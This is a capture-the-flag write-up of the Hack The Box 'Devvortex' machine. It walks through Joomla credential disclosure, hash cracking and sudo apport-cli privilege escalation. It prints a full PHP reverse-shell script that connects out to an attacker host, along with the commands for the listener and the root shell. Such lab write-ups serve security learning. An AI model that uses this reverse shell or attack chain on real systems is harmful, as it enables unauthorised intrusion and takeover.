Devvortex
![]()
https://www.hackthebox.com/machines/Devvortex
OS: Linux
10.129.229.146
Credentials:
| Username | Password | Notes/Hash |
|---|---|---|
lewis | P4ntherg0t1n5r3c0n## | dumped from joomla exploit |
nmap results:
# Nmap 7.99 scan initiated Sun Jun 7 19:40:01 2026 as: /usr/lib/nmap/nmap -p- --open -sC -sV -A -vv -oA nmap/Devvortex 10.129.229.146
Nmap scan report for 10.129.229.146
Host is up, received reset ttl 63 (0.016s latency).
Scanned at 2026-06-07 19:40:02 EDT for 19s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Attack + Enum Vectors
- TCP 80: HTTP nginx 1.18.0
- TCP 22: OpenSSH 8.2p1
UDP (161 SNMP)?
- closed / filtered
Service Enum Notes:
Web Service: Gobuster / fuff
going to http://10.129.229.146 it redirected to http://devvortex.htb. So let’s add that to our /etc/hosts:
10.129.229.146 devvortex.htb dev.devvortex.htb
tried subdomain fuzzing:
ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.devvortex.htb" -u 10.129.229.146
returned nothing
Turned out the way I was using ffuf to fuzz subdomains is wrong:
ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.devvortex.htb" -u http://devvortex.htb -fw 4
Needed to use http://devvortex.htb or http://10.129.229.146 as -u
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 9171ms]
Without further ado let’s go on dev.devvortex.htb
http://dev.devvortex.htb/
had some errors, let’s add it to our /etc/hosts file:
10.129.229.146 devvortex.htb dev.devvortex.htb
running gobuster:
gobuster dir -u http://dev.devvortex.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 -r -b 403,404
I got these results and stopped first:
templates (Status: 200) [Size: 31]
media (Status: 200) [Size: 31]
images (Status: 200) [Size: 31]
home (Status: 200) [Size: 23221]
modules (Status: 200) [Size: 31]
plugins (Status: 200) [Size: 31]
includes (Status: 200) [Size: 31]
language (Status: 200) [Size: 31]
components (Status: 200) [Size: 31]
cache (Status: 200) [Size: 31]
api (Status: 406) [Size: 29]
libraries (Status: 200) [Size: 31]
tmp (Status: 200) [Size: 31]
layouts (Status: 200) [Size: 31]
administrator (Status: 200) [Size: 12211]
because going on /administrator reveals it using joomla
using joomscan
joomscan -u http://dev.devvortex.htb
it revealed that joomla is running v4.2.6 on the web server: Searching online we found this exploit https://www.exploit-db.com/exploits/51334 which is actually a ruby code, despite using searchsploit -m has extension of .py
ruby 51334.rb http://dev.devvortex.htb
revealed:
Users
[649] lewis (lewis) - [email protected] - Super Users
[650] logan paul (logan) - [email protected] - Registered
Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0
Perfect we got some credentials and username! usernames:
lewis
logan
P4ntherg0t1n5r3c0n##
then using: lewis:P4ntherg0t1n5r3c0n##
We got into administrator dashboard!
Initial Foothold
Now let’s get a reverse shell: for reference looking at hacktricks: https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/joomla.html#rce
We go into system on the left menu bar: then go into site templates, and click on the cassiopia template, now paste in our pentestmonkey reverse shell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = 'HTB_VPN_IP'; // CHANGE THIS
$port = 1337; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Note: in a real penetration testing scenerio, I would probably decide to add a backdoor embeded in the php code just so we don’t create any errors
Set up listener
sudo nc -lvnp 1337
save the template file: then visit
http://dev.devvortex.htb/templates/cassiopeia/error.php
and we got a reverse shell, perfect! Let’s stabilize it:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z to background the shell:
stty raw -echo;fg
reset
enter my terminal size:
stty rows 48 cols 210
and we have full functioning shell!
Priv Esc
I can’t read the user.txt file in /home/logan for somereason, I guess we would have to move to the user some how? Let’s first try password spraying:
P4ntherg0t1n5r3c0n##
that we got earlier, and didn’t work
However, I recall that we got lewis password was from the database:
mysql -u lewis -p
enter the password in
P4ntherg0t1n5r3c0n##
and we got in mysql database! Enumerate databases by:
show databases;
there’s a joomla database, let’s enumerate that:
show tables;
the table that seems like most close with users and passwords is:
select * from sd4fg_users;
and we got logan hash is:
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
and let me copy that to logan.hash; let’s use john to crack:
john --wordlist=/usr/share/wordlists/rockyou.txt logan.hash
returned password:
tequieromucho
and let’s pivot to logan
su logan
enter the password
tequieromucho
Perfect, now we are as logan
sudo -l
shows:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
Ok first on: https://gtfobins.org/gtfobins/apport-cli/ it shows that apport-cli inherits from less. Therefore we can possibly spawn a shell the same way as less: https://gtfobins.org/gtfobins/less/#shell
Start apport-cli with sudo
sudo /usr/bin/apport-cli -f
then enter 1 and <enter>
1
then enter 2, and press any key after a few seconds
2
wait to load and press v:
v
Now to spawn shell we do:
!/bin/bash
and we got root!
Therefore, pwn’d.
Conclusion & Remediation
Overall this machine was pretty easy, but also very fun. I liked how the inventor of the box started with like a mask/cover using dev subdomain then we would have to leaverage vulnerabilities to get credentials and using that again after we have shell to enumerate mysql. Then it was pretty straightforward but I have never played with sudo apport-cli privilege escalation which worked like i thought it would and boosted my confidence a little.
To remediate for similar attacks: system administrators should restrict access to private or developers subdomains. Update joomla to the latest version and possibly add salting to databases to prevent hash leaks. Also, misconfigured sudo permissions needs to be checked and removed to apply the principle of least privilege. Only commands required for the user’s job should be permitted.